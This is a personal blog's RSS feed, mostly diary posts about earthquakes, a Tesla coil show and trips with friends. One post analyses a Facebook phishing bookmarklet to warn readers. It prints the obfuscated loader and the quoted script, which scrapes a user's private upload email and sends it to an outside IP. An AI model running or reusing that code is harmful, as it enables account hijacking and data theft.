<?xml version="1.0" encoding="UTF-8"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" version="2.0"><channel><atom:link rel="hub" href="http://tumblr.superfeedr.com/" xmlns:atom="http://www.w3.org/2005/Atom"/><description>Photography. Technology. Bakwas. Pseudophilosophy. Everything else.</description><title>K World</title><generator>Tumblr (3.0; @karteek)</generator><link>http://karteek.selfdabba.com/</link><item><title>Damn Earthquakes</title><description>&lt;p&gt;Boo. There was an Earthquake today near Indonesia. 8.7 on Richter Scale == A damn big one. It was so big that, people in India felt it .. and me, I was looking at an awesome tilt shifted video on a suspended particle display and was thinking about how amazing technology is .. and didn&amp;#8217;t even realize that there was a quake. So, the only Quake I saw today is Urban Terror game which is built on Quake 3 engine.&lt;/p&gt;
&lt;p&gt;I hope everyone is doing good after shaking a bit. Well, I know &amp;#8216;you&amp;#8217; all will be good. That&amp;#8217;s what I would want. Leaving you with a shaky pic of one of my favorite sights here .. building of School of The Arts.&lt;/p&gt;

&lt;p&gt;  &lt;img src="http://media.tumblr.com/tumblr_m2bi5vQH0B1qas7hr.jpg"/&gt;&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/20902460660</link><guid>http://karteek.selfdabba.com/post/20902460660</guid><pubDate>Wed, 11 Apr 2012 19:16:04 +0530</pubDate></item><item><title>Oohh ouch</title><description>&lt;p&gt;Last Saturday was brilliant. Bloody brilliant. This one &amp;#8220;ooh, haha, ouch&amp;#8221;. This was a very tough week at work. Me and my team mates, technically my previous team were working on something kick ass at work and most of us were slogging to get a great result. Most of us were putting more than 18 hours a day on the product we were building and I was one of those few slogging like work horses.&lt;/p&gt;
&lt;p&gt;The completely week I worked mostly out of home so that I would get few extra hours to work that I wouldn&amp;#8217;t be wasting in traveling and other useless things. Today we had reached our goal by morning, and I decided to go to office as I won&amp;#8217;t have too much work.&lt;/p&gt;
&lt;p&gt;Its a damn sunny day. The MRT was crowded than usual at an odd timing. I kept wondering uhmmm, thats odd. Then I reached the university, yeah, I work at a university these days. There was small kid walking down. I was like okay, that odd. Then I reached my seat, sat there for couple of hours, wondered where is my team mate, and I called her up and she didn&amp;#8217;t answer her call. Then I want to her cabin, and it was locked. Wondering whats going on, I realized the research bay where I sit at was not much crowded today. I waited few minutes and I called up my team mate again and she answered call this time. The call went like this&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Her: Hey&lt;br/&gt;Me: Hey, where are you? Your cabin seems to be locked&lt;br/&gt;Her: I just woke up (time is around 12.15 noon), I had partied till late night yesterday&lt;br/&gt;Me: Oh okay, aren&amp;#8217;t you coming to office today?&lt;br/&gt;Her: Today? Why would I come to office today? Today is Saturday.&lt;br/&gt;Me: WHAAAAT?? TODAY IS NOT FRIDAY?&lt;br/&gt;Her: WHAAAT? TODAY IS NOT SATURDAY?&lt;br/&gt;Me: Erhmmm &amp;#8230; Today looks like Saturday, most of univ is locked&lt;br/&gt;Her: *Laughing hysterically for next minute&lt;br/&gt;Me: *Wow, today is a Saturday*&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That&amp;#8217;s when I realized I lost sense of the week because of my slogging. I decided to stay for some more time before heading back for home. I want to a tiny Indian restaurant on my way back had a nice vegetarian meal and came home all embarrassed about going to office on a Saturday on a sunny hot day. I took a nap and all of a sudden I startled and woke up to a thunder. Its raining heavily. Ouch.&lt;/p&gt;
&lt;p&gt;TLDR; I went to office on a Saturday assuming its Friday. A sunny day became dark and gloomy with a heavy thunderstorm.&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/19446857408</link><guid>http://karteek.selfdabba.com/post/19446857408</guid><pubDate>Sat, 17 Mar 2012 16:59:02 +0530</pubDate><category>Ouch</category></item><item><title>Wow</title><description>&lt;p&gt;For the last few months I had, days like today are the reasons for me to look forward for every tomorrow. It started like a usual boring day. I slept at 6 AM after playing over night game of Urban Terror, dealing with work, watching a documentary on Gengis Khan. Important piece of information that I forgot was that I told a friend of mine that I will join him to visit &lt;a href="http://en.wikipedia.org/wiki/Jurong_Bird_Park"&gt;Jurong Bird Park&lt;/a&gt; today. I got the call at 8.45 AM that he has started and he will meet me at 10.00 AM from a place which is around 50 minutes away from me. Well, in a hurry I got ready reached the place and we have enjoyed the shows done by those colorful birds. And still, the day is a very normal day.&lt;/p&gt;
&lt;p&gt;We&amp;#8217;ve seen a parrot telling &amp;#8220;I love you&amp;#8221; to the trainer for a bribe of a nut, an eagle munching over a piece of chicken treated by its care taker, a huge ostrich looking weirdly as if its wondering what the hell is happening around, a pelican landing gracefully on water, a penguin taking a swim and still the day is a very normal day.&lt;/p&gt;
&lt;p&gt;We went to a local Indian restaurant and I had yummy vegetarian meal. From there we went to &lt;a href="http://en.wikipedia.org/wiki/Science_Centre_Singapore"&gt;Singapore Science Center&lt;/a&gt;, and watched a small cute kid playing happily with water at a Kinetic Garden and yet the day is a very normal day. By noon my eyes were stressed due to lack of fever and I couldn&amp;#8217;t stop tears, so I had to go wash my face to further enjoy the science center, and still trust me, the day is a very normal one. My friend and I bought tickets for the Science Center and an IMAX movie, a documentary on Coral Reefs. The show is at 5 PM and we started from science center to the adjacent building which is the theatre, and then the day took a twist and became one of most memorable days in my life.&lt;/p&gt;
&lt;p&gt;We were leaving for the theatre, and at the atrium of the science center was an installation of Tesla Coil, which was about to be started for demo at 5PM. I told my friend that I always had great admiration for Nikola Tesla more than Einstein or Newton, I don&amp;#8217;t care about the IMAX movie, but instead I want to watch the Tesla coil show. Well, a good decision, which I didn&amp;#8217;t know at that time. The show started, and the lady presenting it asked audience for 5 volunteers to hold tube lights in the air to show how the those tube light up when the tesla coil is switched on due to the radio frequency power emissions &amp;#8230; I guess. Well, the next minute, I was holding a tube light powered up, wirelessly, imitating a light saber. Wow, that was just wow. I was happy. I was part of the Tesla coil experiment. The next minute, the lady wanted to try something even bad ass, the &amp;#8220;Tesla Cage of Death&amp;#8221;, I had no clue what happened next, but all I remember is her asking for a volunteer and I was the only one with a hand up among 50 other people around. I was happy to be chosen, and I walked to the Cage of Death as if its my throne. The second I sat on it, the thought in my mind was .. wow, I was the only one who wanted to experience Tesla coil there. Well, I din&amp;#8217;t care, I was sitting inside the cage. Gentlemen, next are few of awesome, awesomer, awesomest seconds of my life. I was sitting in Tesla Cage of Death and 3.5 million volts of electricity playing around me. My friend took a video of this, I didn&amp;#8217;t take it from him yet, but well, a simple search on Youtube gave me &lt;a href="https://www.youtube.com/watch?v=8MwT5VptolM"&gt;this&lt;/a&gt; and &lt;a href="https://www.youtube.com/watch?v=l_fQVIGrlTs"&gt;this&lt;/a&gt; as results, videos taken by someone else on some other day.&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/19056383415</link><guid>http://karteek.selfdabba.com/post/19056383415</guid><pubDate>Sat, 10 Mar 2012 19:44:00 +0530</pubDate><category>Tesla</category><category>Cage</category></item><item><title>2011. GTFO. Welcome 2012</title><description>&lt;p&gt;2010 was an awesome year for me. It brought me lot of happiness through every possible channel. Had a great year, great time with friends, learnt to drive, went on lovely drives, good experiences, encouraging things at work. And 2011 took everything away from me. But, yeah, it doesn&amp;#8217;t look as bad as I say for an outsider. But, nevertheless 2011 sucked bad for me. I&amp;#8217;m so glad that its over. So, wholeheartedly here I say 2011, &lt;a href="http://www.urbandictionary.com/define.php?term=gtfo" title="GTFO"&gt;GTFO&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;And 2012, please don&amp;#8217;t be as bad as 2011.&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/15027626427</link><guid>http://karteek.selfdabba.com/post/15027626427</guid><pubDate>Fri, 30 Dec 2011 20:44:29 +0530</pubDate><category>2010</category><category>2011</category><category>2012</category></item><item><title>RIP dmr</title><description>&lt;p&gt;/* RIP &lt;a title="Dennis Ritchie" href="http://en.wikipedia.org/wiki/Dennis_Ritchie"&gt;Dennis Ritchie&lt;/a&gt;, author of C, co-author of Unix. */&lt;/p&gt;
&lt;p&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/p&gt;
&lt;p&gt;int main() {&lt;br/&gt;  printf(&amp;#8220;Goodbye World\n&amp;#8221;);&lt;br/&gt;  return 0;&lt;br/&gt;}&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/11387650139</link><guid>http://karteek.selfdabba.com/post/11387650139</guid><pubDate>Thu, 13 Oct 2011 11:30:00 +0530</pubDate><category>dmr</category><category>Dennis Ritchie</category><category>RIP</category></item><item><title>Gist behind the Birthday Doodle</title><description>&lt;p&gt;We use squid as proxy in our lab, which means, I have complete control on what junta in my lab view. Squid has a very lovely mechanism called &lt;em&gt;url_rewrite_program&lt;/em&gt;. I usually, use it to get some control over what junta do on the LAN during office hours (like limit facebook access only to lunch time and after office hours)  - You should probably read about Squid, and SquidGuard to know more about this.&lt;/p&gt;
&lt;p&gt;&lt;a href="http://www.squidguard.org/"&gt;SquidGuard&lt;/a&gt; is plain awesomeness. So, I decided to emulate its logic ie., replace the URLs which I want to block for certain users  with the URL I want to be presented. So, all I need is a program which replaces the required Logo with the Image I specify.&lt;/p&gt;
&lt;p&gt;This is the code that does exactly the same.&lt;/p&gt;
&lt;script src="https://gist.github.com/927214.js"&gt; &lt;/script&gt;&lt;p&gt;Add a +x to that file, Add it to your squid.conf as `url_rewrite_program /path/to/program` and reload your Squid. End result would be something like &amp;#8230; &lt;a href="http://media.tumblr.com/tumblr_ljwsaoO6HR1qas7hr.png"&gt;this&lt;/a&gt;. That&amp;#8217;s all folks.&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/4745140673</link><guid>http://karteek.selfdabba.com/post/4745140673</guid><pubDate>Tue, 19 Apr 2011 17:33:00 +0530</pubDate><category>Doodle</category><category>ImageReplace</category><category>Squid</category></item><item><title>Time spent on Facebook? Don't find.</title><description>&lt;p&gt;One of my FB contacts had shared this link on their facebook Wall - &lt;a href="http://174.120.6.98/~tchecks/next.php?id=12132."&gt;http://174.120.6.98/~tchecks/next.php?id=12132.&lt;/a&gt; It claims to run some javascript code after logging to m.facebook.com to find out how much time you&amp;#8217;ve spent on Facebook.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;javascript: var _0xbdfc=[&amp;#8220;\x73\x63\x72\x69\x70\x74&amp;#8221;,&amp;#8221;\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74&amp;#8221;,&amp;#8221;\x73\x72\x63&amp;#8221;,&amp;#8221;\x68\x74\x74\x70\x3a\x2f\x2f\x31\x37\x34\x2e\x31\x32\x30\x2e\x36\x2e\x39\x38\x2f\x7e\x74\x63\x68\x65\x63\x6b\x73\x2f\x6d\x6f\x62\x69\x6c\x65\x2e\x6a\x73&amp;#8221;,&amp;#8221;\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64&amp;#8221;,&amp;#8221;\x62\x6F\x64\x79&amp;#8221;];var script=document[_0xbdfc[1]](_0xbdfc[0]);script[_0xbdfc[2]]=_0xbdfc[3];document[_0xbdfc[5]][_0xbdfc[4]](script); void(0);&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As usual, I never support anyone running any kind of JS on address bar. So, thought to dig through the JS code. Well, that array in human&amp;#8217;s language is ..&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;[&amp;#8220;script&amp;#8221;, &amp;#8220;createElement&amp;#8221;, &amp;#8220;src&amp;#8221;, &amp;#8220;http://174.120.6.98/~tchecks/mobile.js&amp;#8221;, &amp;#8220;appendChild&amp;#8221;, &amp;#8220;body&amp;#8221;]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Now, one important function in that mobile.js page is&lt;/p&gt;
&lt;blockquote&gt;$.get(&amp;#8220;http://m.facebook.com/upload.php&amp;#8221;, function(data){&lt;br/&gt; var mydata = data; var mobiles; var count = 0;&lt;br/&gt; $($(mydata).find(&amp;#8216;a&amp;#8217;).filter(&amp;#8216;:contains(&amp;#8220;m.facebook.com&amp;#8221;)&amp;#8217;)).each(function(){if(($(this).text()&amp;#160;!= undefined)){ mobiles += $(this).text() +&amp;#8221;;&amp;#8221;;}});&lt;br/&gt; var clean = mobiles.replace(&amp;#8220;undefined&amp;#8221;,&amp;#8221;&amp;#8220;);&lt;br/&gt; var cut = clean.slice(0,clean.length - 1);&lt;br/&gt; var insert = cut.replace(/;/g,&amp;#8221;,&amp;#8221;);&lt;br/&gt; //Redirect to php inserter which redirects back to next set of steps.&lt;br/&gt; top.location.href = &amp;#8216;http://174.120.6.98/~tchecks/check.php?get=1&amp;amp;m=,&amp;#8217;+insert;&lt;br/&gt; });&lt;/blockquote&gt;
&lt;p&gt;This function gets the page m.facebook.com/upload.php, parses it, looks for all links with m.facebook.com in it, and grabs one email address, which as per Facebook is&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;This is *your* personal address - don&amp;#8217;t share it with anyone&lt;/li&gt;
&lt;li&gt;The email subject will be the photo caption if your email contains photos.&lt;/li&gt;
&lt;li&gt;The email subject will be your updated status if your email contains no photo.&lt;/li&gt;
&lt;li&gt;Save your upload email as a contact for easy access.&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;So, now the phisher has your private FB Mobile email address, through which he can upload pics or update your status.&lt;/p&gt;
&lt;p&gt;Moral of the post: Don&amp;#8217;t be dumb and run any javascript in your browser window if you don&amp;#8217;t understand what it does. And, install &lt;a href="http://noscript.net/"&gt;NoScript&lt;/a&gt; for Firefox. Other browser users, find similar alternative or &lt;a href="http://www.getfirefox.com/"&gt;Get Firefox&lt;/a&gt;.&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/3249867268</link><guid>http://karteek.selfdabba.com/post/3249867268</guid><pubDate>Sat, 12 Feb 2011 16:34:00 +0530</pubDate><category>Phishing</category><category>Javascript</category><category>Facebook</category></item><item><title>An Awesome Saturday</title><description>&lt;p&gt;It was an awesome Saturday compared to pretty much any of my other Saturdays I had lately which consists of 10 hours of sleep, 10 hours of Internet and 4 hours of cribbing that I had wasted the whole Saturday doing nothing. This one turned out very well even though it was planned just 8 hours before it started at a restaurant while struggling to read name of a Thai Dish &amp;#8216;Pad Pak Nam Prik Pao&amp;#8217; and Ganesh deciding that it would name of his first born and just before enjoying the awesome Fried Ice Cream that Arun praised all our way to the restaurant.&lt;/p&gt;
&lt;p&gt;The day was supposed to start by 6 AM with office as rendezvous. Well, as the &amp;#8216;light&amp;#8217; sleeper of the group, I decided that I need more than one alarm to wake me up and kept a series of alarms from 4.30 AM to 5.30 AM. I was supposed to be accompanied by Mr. &amp;amp; Mrs. Ganesh to the office from my place and the lovely couple decided to reach my home only by 6AM, while I tried to wakeup every one else. Around 6 calls failed to wakeup Deepak while Satya and Sathish were awake and waiting for my signal to start for office. Yeah, all of us were sure about everyone else that they will be late to reach office. I had informed Satya and Sathish that meeting time has been postponed by 30 minutes.&lt;/p&gt;
&lt;p&gt;6.45 AM in the morning, all of us were at IITM office parking lot. All of us, minus Satya, Deepak and Harish. Satya assumed office as &amp;#8220;his cubicle&amp;#8221; when we were waiting for him at parking lot. Harish assumed office as a traffic signal next to his apartment, when we were waiting for him at parking lot. Deepak didn&amp;#8217;t assume anything but realized that he has to hurry as he over slept and his phone cheated him by not making enough sound to wake him up.&lt;/p&gt;
&lt;p&gt;7.45 AM in the morning, all of us reached Fishermen&amp;#8217;s cove and signed that the hotel is not responsible for any accidents or deaths or shark attacks or jelly fish stings that might happen in the Ocean. Oh, by the way, Sathish has no clue what we were going to do other than the fact that its some where in the sea and it has to deal with water. Well, The Rain God decided to show his blessings by raining a lot at the same time, but he failed to realize that we cannot go for the ride if the waves are turbulent which is created by rain. So, we decided to go have breakfast first and wait for Rain God to realize his boo-boo. After the awesome break fast, few of us decided to enjoy the beauty of the rain and others decided to test their pool skills at the table.&lt;br/&gt;    &lt;br/&gt;&lt;img src="http://media.tumblr.com/tumblr_l9q75uLgB21qas7hr.jpg"/&gt;         &lt;/p&gt;
&lt;p&gt;Time Frame Lost, in the morning, finally, The RG realized his boo-boo and decided to stop showering us with his blessings, and let the Sun God wish us to have fun by letting him shine all the way. All of us suited ourselves in life jackets, got on to the &lt;a href="http://www.kattumaram.it/origine.htm"&gt;catamaran&lt;/a&gt; (Tamil kattumaram) with a motor. Few hundred feet in the ocean, the kattumaram stopped and all of us jumped into the ocean to float like &amp;#8230; PJ coming ahead &amp;#8230; all those divs floated by Selva GK. And there was one div which was floating shadily like it was being rendered in IE, and Selva GK, if he tries to alert its name, it would alert with a loud beep as &amp;#8230; &amp;#8220;Sathish&amp;#8221;. Yes, the realization, Sathish is scared of water like all of us, but, he is scared of water even with a life jacket on him. 44 minutes passed by with each of us trying to convince him to leave all the rope and come away from the boat, and he was convinced finally and decided to move 5 feet away from the boat. Ding, its 45 minutes and our floating time is over and we have to head back to shore.&lt;/p&gt;
&lt;p&gt;We started walking back on the beach and something happened, and Satya got himself hurt when a bad wooden piece went under the nail of his foot&amp;#8217;s big toe. He went to paramedic for making sure that it comes off, and rest of us decided to give hit volley ball across the net for a while. 30 minutes passed and Satya didn&amp;#8217;t return back from the paramedic. Swathi went to office to settle the bill in her style and we got to know that there were more than 25 pieces of wood under his toe. After lot of struggle, the paramedic Mr. Sibin managed to pull all/most of the pieces of out, and we started for Mahabalipuram to have lunch and Deepak went back to the city to prepare for watching &amp;#8220;Enthiran&amp;#8221;.&lt;/p&gt;
&lt;p&gt;After lunch, and the fight with restaurant over shady buffet, and another fun drive towards Pondicherry, we decided to return back to the city and Arun dropped Harish at his place. 6.30 PM, we decided to stop at office while returning, and after some chit chat, Arun playing guitar, Ganesh playing Boom Box ;) while we blame Sathish for it. Satya wanted to visit doc to ensure safety for this big toe while we decided to ensure safety for both our feet, by shopping for shoes. Sathish, Ganesh and I bought a pair each while Arun and Swathi gave valuable feedback ;) And its 9PM already, and we decided to have kulfi at Freez Zone. After telling bye to Arun at his home, Sathish started his lengthy ride back home at 9.45PM, and I started for my place along with Mr. and Mrs. Ganesh and they started for their place from mine.&lt;/p&gt;
&lt;p&gt;And I went to my bed thinking &amp;#8230; Wow, what a day.&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/1236581872</link><guid>http://karteek.selfdabba.com/post/1236581872</guid><pubDate>Sun, 03 Oct 2010 23:31:00 +0530</pubDate><category>Friends</category><category>Weekend</category><category>Fun</category><category>Catamaran</category><category>Mahabalipuram</category></item><item><title>There goes the third</title><description>&lt;p&gt;I&amp;#8217;ve felt three Earth Quakes in my life. Yesterday was the third one. Just thought to write about my thoughts while the quake was going on &amp;#8230;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The first one, back in 2001, Madras&lt;/strong&gt;. It was around 9 in the night I guess. I was sitting before a my computer (yeah, I&amp;#8217;m spoiled right from child hood) in a dark room and editing an image to create a funny image of some bad guy behind 9/11 to show my disapproval of the attacks. All of a sudden, my chair started rocking and the first thing in my mind was &amp;#8230; &amp;#8220;What the hell, I didn&amp;#8217;t even finish editing, how did they find me. Or &amp;#8230; is it a devil?&amp;#8221;. Then I came out and mom, granny were watching TV and I slowly asked them &amp;#8230; did you feel any tremors &amp;#8230; thinking that they will think I&amp;#8217;m crazy if I tell them that my chair rocked. They immediately replied &amp;#8230; YES! and in my mind I thought &amp;#8220;YES!! They dint find me, and it was not a devil, it was just an Earthquake&amp;#8221;, after few seconds.. &amp;#8220;Wow, EARTHQUAKE!!!&amp;#8221; and then I called up all my friends and told them that I felt an Earthquake.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The second one, back in 2009, Santiago&lt;/strong&gt;. I working in the night/early morning 2-3AM on a package I was supposed to finish. I was very tired, but I just wanted to finish the package before I goto sleep. Then, as usual, all of a sudden there were strong tremors and the first thing in my mind was &amp;#8230; &amp;#8220;Am I dreaming or did I overload my brain?&amp;#8221; .. then in couple of seconds &amp;#8230; &amp;#8220;Wow. Its an Earthquake and in 12 floor building which is rocking. Am I going to die today???&amp;#8221;, then tremors stopped and I was relieved. Then &lt;a href="http://www.balachandar.com/"&gt;Bala&lt;/a&gt; came out of the bedroom and looked at me &amp;#8230; waiting for me to confirm that it was an Earthquake. He was also relieved due to different reasons when I confirmed him that it was an Earthquake. Next thing I did was tweet about the quake, called up home and a friend.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The third one, yesterday, Madras&lt;/strong&gt;. Night 1AM, playing flash games and following a stream of worldcup USA vs UK match. Tremors -&amp;gt; &amp;#8220;Wow EARTHQUAKE, I should tweet about this before others do&amp;#8221; -&amp;gt; &amp;#8220;Let me ask others online whether they felt anything&amp;#8221; -&amp;gt; &amp;#8220;Did anyone else tweet about this, search.twitter.com&amp;#8221;  -&amp;gt; &amp;#8220;Wow. Tsunami alert. Let me make fun of Anjali&amp;#8221; -&amp;gt; &amp;#8220;Okay, now, let me see whats happening within the house&amp;#8221; -&amp;gt; &amp;#8220;Hope all are safe in the affected areas&amp;#8221; -&amp;gt; &amp;#8220;Wow, my third earthquake, I should blog about this tomorrow&amp;#8221;&lt;/p&gt;
&lt;p&gt;And that&amp;#8217;s how, the third one went in my mind.&lt;/p&gt;
&lt;p&gt;And &amp;#8230; yeah, it took an Earth Quake for me to get back to blogging :P&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/693341327</link><guid>http://karteek.selfdabba.com/post/693341327</guid><pubDate>Sun, 13 Jun 2010 15:07:00 +0530</pubDate><category>Thoughts</category><category>Earthquake</category></item><item><title>... and he comes to rescue</title><description>&lt;p&gt;Day before yesterday, I went home in my car, which I wanted to do from a long time, drive home - which is around 150&amp;#160;km from the city where I work. One of my old friends joined me for that drive and everything went smooth. I reached there, spent time with my parents and the next day, it was the time for starting back to the city where I work.&lt;/p&gt;
&lt;p&gt;I took my backpack, and another bag with laptop, went to my car kept both of them on the backseat of my car. My pants had only one pocket which already had my mobile and wallet and there was no more space in them. Without thinking through, I kept my car keys on my laptop bag. Then my mom called me to give me some stuff which I&amp;#8217;m supposed to deliver to my cousin in the city. I closed the door of my car, went to my mom and &amp;#8230; *TADA* I realized that my car has a remote lock, and it locks all the doors automatically, if the key is not in keyhole. I ran back to the car, only to find out that its locked already.&lt;/p&gt;
&lt;p&gt;Then, my cousin and another friend called up few drivers and mechanics to find out whether they can pick the lock. Unfortunately or by good reason, it was tough to pick lock of my car and they failed badly. Then, the only other option in my mind was to get the spare key from Madras which is with my cousin.&lt;/p&gt;
&lt;p&gt;Then, and there, he comes to the rescue. All I had to do was call him and ask him to get my spare key, which is with my cousin. He didn&amp;#8217;t ask a second question, there was no second thought. Started as soon as I asked, collected the key, came back to my town. &lt;a href="http://www.google.com/search?q=sathish+vc"&gt;Dude&lt;/a&gt;, you are the best, I&amp;#8217;m really proud and lucky to be your friend.&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/483435496</link><guid>http://karteek.selfdabba.com/post/483435496</guid><pubDate>Tue, 30 Mar 2010 10:13:00 +0530</pubDate><category>Friends</category><category>Misadventure</category><category>Thoughts</category></item><item><title>Oh boy, floating points really float</title><description>&lt;p&gt;I was reading a &lt;a href="http://news.ycombinator.com/item?id=1121932"&gt;thread&lt;/a&gt; on &lt;a href="http://news.ycombinator.com"&gt;Hackers News&lt;/a&gt; a while before and stumbled on a site &lt;a href="http://wtfjs.com/"&gt;wtfjs.com&lt;/a&gt;. The site points some crazy things done by JavaScript, at least, that is what I thought for a while before reading comments on the thread. Then, I read the comment that the author of wtfjs is just naive and doesn&amp;#8217;t know about floating points. For a while, I thought it was just anomaly of JavaScript ( I never had any love for things that start with the word &amp;#8220;java&amp;#8221;) and was totally shocked to know that it&amp;#8217;s not just Java Script, I just had no clue about the implementation - till now and this is very embarrassing.&lt;/p&gt;
&lt;p&gt;&lt;img src="http://media.tumblr.com/tumblr_kxrok5Sbox1qas7hr.png"/&gt;&lt;/p&gt;
&lt;p&gt;The results were more like our democracy. All individuals are equal,  and few are just &amp;#8220;more&amp;#8221; equal. I&amp;#8217;m glad that I know the problem and &lt;a title="Bloody Rounding Error" href="http://docs.sun.com/source/806-3568/ncg_goldberg.html"&gt;reason&lt;/a&gt; atleast now :D&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/386812154</link><guid>http://karteek.selfdabba.com/post/386812154</guid><pubDate>Sat, 13 Feb 2010 12:01:00 +0530</pubDate><category>Python</category><category>Float</category><category>RoundingError</category></item><item><title>Mathematics is the language of nature</title><description>&lt;p&gt;The last time I was on a small learning adventure was when I was solving challenges at &lt;a href="http://hax.tor.hu"&gt;&lt;a href="http://hax.tor.hu"&gt;http://hax.tor.hu&lt;/a&gt;&lt;/a&gt;, and I managed to finish it in couple of months. Then back to boring life without learning anything new. Then, life was the usual, 5 movies a week and regular work without real use of brain.&lt;/p&gt;
&lt;p&gt;Then, I remembered &lt;a href="http://hariflute.tumblr.com"&gt;Flute&lt;/a&gt;, one of my teamies was a big fan of one site named &lt;a href="http://projecteuler.net"&gt;Project Euler&lt;/a&gt;. The site is a community of people solving a bunch of math problems. Fun part, problems are challenging. To add little more to fun, you can compare your logic to others. What adds even more to fun is, those guys are crazy. Few guys solve those tough math problems in Assembly language. Yes. Assembly. And to make things even worse, for few problems, for which my code takes around 15 to 20 seconds to solve, there are logics, which solve the problem in half a second.&lt;/p&gt;
&lt;p&gt;So, I decided to start solving the problems, with couple of aims. First, solve atleast 100 problems in next 3 months (I&amp;#8217;ve solved around 50 in the last week, but problems get tougher after that). Second being, try to solve them with logics that take as less time as possible rather than brute-forcing everything.&lt;/p&gt;
&lt;p&gt;Now, there is another site, which runs on similar basis, called &lt;a href="http://www.javaist.com/rosecode"&gt;RoseCode&lt;/a&gt;. There are few nice problems there too. If you enjoy solving Project Euler, you will probably enjoy this too.&lt;/p&gt;
&lt;p&gt;Just few moments before, I thought I will create a github repository with all solutions and later changed my mind of making them public and indexable. But anyway, if you happened to start solving Project Euler or Rose Code and want to compare your solutions with mine, I&amp;#8217;m a &lt;a href="http://twitter.com/karteek"&gt;tweet&lt;/a&gt; away to send you my codes.&lt;/p&gt;
&lt;p&gt;By the way, you might want to register &lt;a href="http://www.wechall.net"&gt;WeChall&lt;/a&gt;, if you start solving RoseCode. WeChall is a global ranking site, which can let you fight with few nice coders/hackers etc. Also, my nickname in all the sites is &lt;a title="reduce(lambda x,y: x+y, map(chr, [108, 97, 122, 121, 105, 100, 105, 111, 116]))" href="http://www.python.org/"&gt;[108, 97, 122, 121, 105, 100, 105, 111, 116]&lt;/a&gt;&lt;/p&gt;</description><link>http://karteek.selfdabba.com/post/367427907</link><guid>http://karteek.selfdabba.com/post/367427907</guid><pubDate>Wed, 03 Feb 2010 02:29:00 +0530</pubDate><category>ProjectEuler</category><category>RoseCode</category><category>WeChall</category><category>Mathematics</category></item><item><title>It happens only in ...</title><description>&lt;p&gt;Of course India. So, the latest rumour is that &lt;a href="http://en.wikipedia.org/wiki/Mukesh_Ambani"&gt;Mukesh Ambani&lt;/a&gt; is behind &lt;a href="http://en.wikipedia.org/wiki/Y._S._Rajasekhara_Reddy"&gt;YSR&lt;/a&gt;&amp;#8217;s chopper accident. Now, let&amp;#8217;s go through the story.&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;One Russian website tells that that &lt;a href="http://en.wikipedia.org/wiki/Lawrence_Summers"&gt;Larry Summer&lt;/a&gt;&amp;#8217;s ex-boss&amp;#8217;s enemy is dead in Chopper crash. This article links to another article which tells ..     
&lt;ul&gt;&lt;li&gt;Larry Summer&amp;#8217;s ex-boss&amp;#8217;s brother (&lt;a href="http://en.wikipedia.org/wiki/Anil_Ambani"&gt;Anil Ambani&lt;/a&gt;) chopper&amp;#8217;s gearbox was tampered.&lt;/li&gt;
&lt;li&gt;Anil&amp;#8217;s mechanic was killed in an accident.&lt;/li&gt;
&lt;li&gt;Anil suspected business rivals to have planned for the assassination.&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Mechanic who found that gearbox was tampered died in an accident two days later.&lt;/p&gt;
&lt;p&gt;Now, what Indian media made out of it.&lt;/p&gt;
&lt;ol&gt;&lt;li&gt;Larry Summer&amp;#8217;s ex-boss is Mukesh Ambani&lt;/li&gt;
&lt;li&gt;Mukesh Ambani and YSR had few differences&lt;/li&gt;
&lt;li&gt;So, Mukesh must be reason for YSR&amp;#8217;s death&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Now, this is my take -&lt;/p&gt;
&lt;ul&gt;&lt;li&gt;One Russian Online Newspaper named &amp;#8220;&lt;a href="http://exiledonline.com/"&gt;The Exiled&lt;/a&gt;&amp;#8221; had an article written on &lt;b&gt;3rd September 2009&lt;/b&gt;, that YSR died in a mysterious accident. &lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;
&lt;p&gt;Seriously&amp;#160;???? Indian media is digging a column in &lt;b&gt;Russian&lt;/b&gt; newspaper, written by Mark Ames (an &lt;b&gt;American&lt;/b&gt; Journalist, who use to write articles for Playboy) after 4 long months.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;&lt;li&gt;YSR had differences with Mukesh, Anil as well as their mother over gas deposits from Krishna-Godavari basin&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;
&lt;p&gt;Yeah, YSR had differences with both the brothers who were fighting over price, and their mother, who was trying to settle it. It&amp;#8217;s not like he took someone&amp;#8217;s side. He was neutral, and he wanted central govt. to take decisions on the price.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;&lt;li&gt;There was an assassination attempt on Anil, the medium was a helicopter. And Anil thought some &amp;#8220;business rivals&amp;#8221; planned this.&lt;/li&gt;
&lt;/ul&gt;&lt;blockquote&gt;
&lt;p&gt;So, the business rival was his own brother. How about the word &amp;#8220;coincidence&amp;#8221;&amp;#160;?&lt;/p&gt;
&lt;/blockquote&gt;
